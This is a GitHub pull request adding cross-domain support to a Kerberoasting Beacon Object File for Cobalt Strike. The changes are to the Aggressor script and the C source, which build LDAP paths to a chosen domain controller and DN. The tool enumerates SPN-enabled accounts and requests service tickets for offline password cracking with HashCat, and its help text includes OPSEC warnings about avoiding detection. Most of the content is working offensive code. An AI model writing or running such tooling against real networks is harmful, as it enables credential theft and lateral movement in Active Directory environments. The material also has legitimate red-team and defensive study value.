Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added cross-domain Kerberoast functionality #5

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 17 additions & 9 deletions BOF/Kerberoast/Kerberoast.cna
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,10 @@
#register help
beacon_command_register("Kerberoast", "Perform Kerberoasting against all (or specified) SPN enabled accounts.",
"List all SPN enabled user/service accounts or request service tickets (TGS-REP) which can be cracked offline using HashCat.\n\n" .
"Synopsis: Kerberoast [list, list-no-aes, roast or roast-no-aes] [account <optional sAMAccountName filter (default all)>]\n\n" .
"WARNING: Listing and roasting tickets without sAMAccountName filter is OPSEC UNSAFE!\n\n");
"Synopsis: Kerberoast [list, list-no-aes, roast or roast-no-aes] [account <optional sAMAccountName filter (default all)>] [DC hostname/IP <optional, roast only>] [DN <optional, roast only>]\n" .
"Example 1: Kerberoast roast svc_sql \n" .
"Example 2: Kerberoast roast svc_sql dc1.domain.local CN=domain,CN=local \n\n" .
"WARNING: Listing users without sAMAccountName filter is OPSEC UNSAFE!\n\n");

alias Kerberoast {
$bid = $1;
Expand All @@ -16,6 +18,8 @@ alias Kerberoast {

$action = @args[0];
$filter = @args[1];
$dc = @args[2];
$dn = @args[3];

if ($action eq "") {
berror($bid, "Please specify an action (list, list-no-aes, roast or roast-no-aes).");
Expand All @@ -27,14 +31,18 @@ alias Kerberoast {
$data = readb($handle, -1);
closef($handle);

# Pack our arguments
if ($filter eq "") {
$arg_data = bof_pack($bid, "Z", $action);
}
else {
$arg_data = bof_pack($bid, "ZZ", $action, $filter);
}
# Pack our arguments
if ($filter eq "") {
$arg_data = bof_pack($bid, "Z", $action);
} else if ($dc eq "") {
$arg_data = bof_pack($bid, "ZZ", $action, $filter);
} else if ($dn eq "") {
$arg_data = bof_pack($bid, "ZZZ", $action, $filter, $dc);
} else {
$arg_data = bof_pack($bid, "ZZZZ", $action, $filter, $dc, $dn);
}

blog($bid, "Kerberoast BOF by Outflank");
beacon_inline_execute($bid, $data, "go", $arg_data);
}

Binary file added BOF/Kerberoast/Kerberoast.x64.o
Binary file not shown.
Binary file added BOF/Kerberoast/Kerberoast.x86.o
Binary file not shown.
56 changes: 34 additions & 22 deletions BOF/Kerberoast/SOURCE/Kerberoast.c
Original file line number Diff line number Diff line change
Expand Up @@ -208,7 +208,7 @@ HRESULT FindSPNs(_In_ IDirectorySearch *pContainerToSearch, _In_ BOOL bListSPNs,
BOOL bResult = FALSE, bRoast = FALSE;
WCHAR wcSearchFilter[BUF_SIZE] = { 0 };
LPCWSTR lpwFormat = L"(&(objectClass=user)(objectCategory=person)%ls(!(userAccountControl:1.2.840.113556.1.4.803:=2))(servicePrincipalName=*)(sAMAccountName=%ls))";
LPCWSTR lpwFormatNoListSpn = L"(&(objectClass=user)(objectCategory=person)%ls(!(userAccountControl:1.2.840.113556.1.4.803:=2))(sAMAccountName=%ls))";
LPCWSTR lpwFormatNoListSpn = L"(&(objectClass=user)(objectCategory=person)%ls(sAMAccountName=%ls))";
PUSER_INFO pUserInfo = NULL;
INT iCount = 0;
DWORD x = 0L;
Expand Down Expand Up @@ -507,7 +507,7 @@ HRESULT FindSPNs(_In_ IDirectorySearch *pContainerToSearch, _In_ BOOL bListSPNs,
return hr;
}

HRESULT SearchDirectory(_In_ BOOL bListSPNs, _In_ BOOL bExcludeAES, _In_ LPCWSTR lpwFilter) {
HRESULT SearchDirectory(_In_ BOOL bListSPNs, _In_ BOOL bExcludeAES, _In_ LPCWSTR lpwFilter, _In_ LPCWSTR lpwDC, _In_ LPCWSTR lpwDN) {
HRESULT hr = S_OK;
HINSTANCE hModule = NULL;
IADs* pRoot = NULL;
Expand Down Expand Up @@ -537,28 +537,35 @@ HRESULT SearchDirectory(_In_ BOOL bListSPNs, _In_ BOOL bExcludeAES, _In_ LPCWSTR
hr = OLE32$IIDFromString(pIADsIID, &IADsIID);
hr = OLE32$IIDFromString(pIDirectorySearchIID, &IDirectorySearchIID);

// Get rootDSE and the current user's domain container DN.
hr = ADsOpenObject(L"LDAP://rootDSE",
NULL,
NULL,
ADS_USE_SEALING | ADS_USE_SIGNING | ADS_SECURE_AUTHENTICATION, // Use Kerberos encryption
&IADsIID,
(void**)&pRoot);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "Failed to get rootDSE.\n");
goto CleanUp;
}
// Construct the LDAP path
if (lpwDC != NULL && lpwDN != NULL) { // Use DC and DN if provided
MSVCRT$swprintf_s(wcPathName, BUF_SIZE, L"LDAP://%ls/%ls", lpwDC, lpwDN);
} else if (lpwDC != NULL && lpwDN == NULL) { // Use only DC if DN is not provided
MSVCRT$swprintf_s(wcPathName, BUF_SIZE, L"LDAP://%ls", lpwDC);
} else {
// Get rootDSE and the current user's domain container DN.
hr = ADsOpenObject(L"LDAP://rootDSE",
NULL,
NULL,
ADS_USE_SEALING | ADS_USE_SIGNING | ADS_SECURE_AUTHENTICATION, // Use Kerberos encryption
&IADsIID,
(void**)&pRoot);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "Failed to get rootDSE.\n");
goto CleanUp;
}

OLEAUT32$VariantInit(&var);
hr = pRoot->lpVtbl->Get(pRoot, (BSTR)L"defaultNamingContext", &var);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "Failed to get defaultNamingContext.");
goto CleanUp;
}

OLEAUT32$VariantInit(&var);
hr = pRoot->lpVtbl->Get(pRoot, (BSTR)L"defaultNamingContext", &var);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "Failed to get defaultNamingContext.");
goto CleanUp;
MSVCRT$wcscpy_s(wcPathName, _countof(wcPathName), L"LDAP://");
MSVCRT$wcscat_s(wcPathName, _countof(wcPathName), var.bstrVal);
}

MSVCRT$wcscpy_s(wcPathName, _countof(wcPathName), L"LDAP://");
MSVCRT$wcscat_s(wcPathName, _countof(wcPathName), var.bstrVal);

hr = ADsOpenObject((LPCWSTR)wcPathName,
NULL,
NULL,
Expand Down Expand Up @@ -595,13 +602,18 @@ VOID go(IN PCHAR Args, IN ULONG Length) {
BOOL bExcludeAES = FALSE;
LPCWSTR lpwArgs = NULL;
LPCWSTR lpwFilter = NULL;
LPCWSTR lpwDC = NULL;
LPCWSTR lpwDN = NULL;

// Parse Arguments
datap parser;
BeaconDataParse(&parser, Args, Length);

lpwArgs = (WCHAR*)BeaconDataExtract(&parser, NULL);
lpwFilter = (WCHAR*)BeaconDataExtract(&parser, NULL);
lpwDC = (WCHAR*)BeaconDataExtract(&parser, NULL);
lpwDN = (WCHAR*)BeaconDataExtract(&parser, NULL);

if (lpwArgs != NULL && MSVCRT$_wcsicmp(lpwArgs, L"list") == 0) {
bListSPNs = TRUE;
}
Expand All @@ -621,7 +633,7 @@ VOID go(IN PCHAR Args, IN ULONG Length) {
lpwFilter = L"*";
}

hr = SearchDirectory(bListSPNs, bExcludeAES, lpwFilter);
hr = SearchDirectory(bListSPNs, bExcludeAES, lpwFilter, lpwDC, lpwDN);
if (FAILED(hr)) {
GetFormattedErrMsg(hr);
}
Expand Down